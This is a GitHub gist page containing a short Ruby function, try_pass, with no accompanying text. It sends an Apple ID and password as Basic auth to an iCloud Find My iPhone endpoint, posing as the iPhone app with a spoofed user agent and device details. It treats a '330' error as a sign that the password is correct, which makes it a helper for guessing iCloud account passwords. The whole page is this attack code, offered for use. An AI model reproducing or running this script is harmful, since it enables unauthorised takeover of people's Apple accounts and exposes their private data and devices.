Skip to content

Instantly share code, notes, and snippets.

@icyleaf
Last active August 29, 2015 14:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save icyleaf/00ef5ac1591f22fa1463 to your computer and use it in GitHub Desktop.
Save icyleaf/00ef5ac1591f22fa1463 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
require 'plist'
require 'rest_client'
def try_pass(apple_id, password)
url = "https://fmipmobile.icloud.com/fmipservice/device/#{apple_id}/initClient"
basicOauth = Base64.encode64("#{apple_id}:#{password}")
headers = {
'User-Agent' => 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
'Authorization' => "Basic #{basicOauth}"
}
data = {
"clientContext" => {
"appName" => "FindMyiPhone",
"osVersion" => "7.0.4",
"clientTimestamp" => Time.now(),
"appVersion" => "3.0",
"deviceUDID" => "0123456789485ef5b1e6c4f356453be033d15622",
"inactiveTime" => 1,
"buildVersion" => "376",
"productType" => "iPhone6,1"
},
"serverContext" => {}
}
plist = data.to_plist
status = false
begin
r = RestClient::Request.execute(
:method => :post,
:url => url,
:payload => plist,
:headers => headers,
)
rescue Exception => e
status = true if e.to_s.match('330')
end
status
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment